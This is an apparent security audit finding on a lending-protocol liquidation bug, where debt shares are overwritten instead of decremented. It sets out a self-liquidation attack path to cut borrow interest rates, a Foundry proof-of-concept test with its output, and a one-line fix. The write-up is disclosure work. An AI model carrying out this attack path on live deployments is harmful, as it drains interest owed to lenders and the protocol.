Modern Garnet Cyborg

High

# Attacker may manipulate borrow interest rates of the protocol

### Summary

Incorrect state update during liquidation will cause loss of assets for lenders and protocol as attacker will open multiple positions, self liquidate on smaller position to trigger an incorrect state update, and subsequently repay debt with radically smaller interest rate.

### Root Cause

In [`LiquidationLogic.sol:246`](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L246) the `vars.debtReserveCache.nextDebtShares` is set to `burnt` value, instead it should have been decremented by `burnt`.

### Internal pre-conditions

1. Any liquidation will trigger incorrect `vars.debtReserveCache.nextDebtShares` update. 
2. This will consequently result in incorrect borrow and lending interest rates.

### External pre-conditions

_No response_

### Attack Path

1. Attacker borrows X amount on account A.
2. Attacker borrows relatively small amount on Account B.
3. After some time attacker triggers liquidation of Account B.
4. Liquidation will trigger incorrect state update in LiquidationLogic._repayDebtTokens() function.
5. Borrow interest rate and lending interest rate will be incorrect.
6. Attacker repays debt with significantly less amount of interest needed to pay on Account B.
7. All other borrowers will also share this incorrect and reduced interest rate. 

### Impact

The protocol suffers 100% loss in expected interest revenue. The attacker and other borrowers will have proportionally less to pay for interest.

### PoC

```solidity
// To demonstrate this issue, place the following test in the ./test/forge/core/pool/PoolLiquidationTests.t.sol:
// and execute with the following command: forge test --mt testLiquidationDebtSharesUpdate -vv
function testLiquidationDebtSharesUpdate() external {
    address john = address(3);
    uint256 supplyAmountAJohn = 10000 ether;
    uint256 mintAmountAJohn = 10000 ether;
    uint256 borrowAmountBJohn = 500 ether; 

    _mintAndApprove(alice, tokenA, mintAmountA, address(pool)); // alice 1000 tokenA
    _mintAndApprove(john, tokenA, mintAmountAJohn, address(pool)); // john 10000 tokenA
    _mintAndApprove(bob, tokenB, mintAmountB, address(pool)); // bob 2000 tokenB

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, supplyAmountA, 0); // 550 tokenA alice supply
    vm.stopPrank();

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmountB, 0); // 750 tokenB bob supply
    vm.stopPrank();

    vm.startPrank(john);
    pool.supplySimple(address(tokenA), john, supplyAmountAJohn, 0); // 10_000 tokenA john supply
    vm.stopPrank();

    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, borrowAmountB, 0); // 100 tokenB alice borrow
    vm.stopPrank();

    vm.startPrank(john);
    pool.borrowSimple(address(tokenB), john, borrowAmountBJohn, 0); // 500 tokenB john borrow
    vm.stopPrank();

    assertEq(tokenB.balanceOf(alice), borrowAmountB);
    assertEq(tokenB.balanceOf(john), borrowAmountBJohn);

    oracleA.updateAnswer(5e3);


    (, uint256 totalDebtBase,,,,) = pool.getUserAccountData(alice, 0);
    

    DataTypes.ReserveData memory initialReserveData = pool.getReserveData(address(tokenB));

    vm.startPrank(bob);
    vm.expectEmit(true, true, true, false);
    emit PoolEventsLib.LiquidationCall(address(tokenA), address(tokenB), pos, 0, 0, bob);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 10); // liquidate 10 wei
    vm.stopPrank();

    (, uint256 totalDebtBaseNew,,,,) = pool.getUserAccountData(alice, 0);

    assertTrue(totalDebtBase > totalDebtBaseNew);

    DataTypes.ReserveData memory updatedReserveData = pool.getReserveData(address(tokenB));
    console.log("Initial borrow rate: ", initialReserveData.borrowRate);
    console.log("Initial liquidity rate: ", initialReserveData.liquidityRate);
    console.log("------------------------------------------------------");
    console.log("Updated borrow rate: ", updatedReserveData.borrowRate);
    console.log("Updated liquidity rate: ", updatedReserveData.liquidityRate);

    assertApproxEqRel(initialReserveData.borrowRate, updatedReserveData.borrowRate, 1e13, "Due to small liquidation, rates should be approximately equal");
  }

// ================================================
// Test output indicates that liquidating small position
// ================================================
// Ran 1 test for test/forge/core/pool/PoolLiquidationTests.t.sol:PoolLiquidationTest
// [FAIL. Reason: Due to small liquidation, rates should be approximately equal: 256792452830188679245283019 !~= 9929079 (max delta: 0.0010000000000000%, real delta: 2586266589581860303814.2202313024198921%)] testLiquidationDebtSharesUpdate() (gas: 1281028)
// Logs:
//   Initial borrow rate:  256792452830188679245283019
//   Initial liquidity rate:  205433962264150943396226415
//   ------------------------------------------------------
//   Updated borrow rate:  9929079
//   Updated liquidity rate:  0
//
// Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 8.09ms (3.47ms CPU time)
//
// Ran 1 test suite in 42.17ms (8.09ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
```

### Mitigation

To fix this issue, the `LiquidationLogic::_repayDebtTokens` function should be modified to correctly update the debt shares state:

```diff
  function _repayDebtTokens(
    DataTypes.ExecuteLiquidationCallParams memory params,
    LiquidationCallLocalVars memory vars,
    mapping(bytes32 => DataTypes.PositionBalance) storage balances,
    DataTypes.ReserveSupplies storage totalSupplies
  ) internal {
    uint256 burnt = balances[params.position].repayDebt(
	    totalSupplies,
	    vars.actualDebtToLiquidate,
	    vars.debtReserveCache.nextBorrowIndex
	   );
-    vars.debtReserveCache.nextDebtShares = burnt;
+    vars.debtReserveCache.nextDebtShares -= burnt;
  }
```

By subtracting the burnt amount instead of overwriting the total, the debt shares will be correctly updated after a liquidation.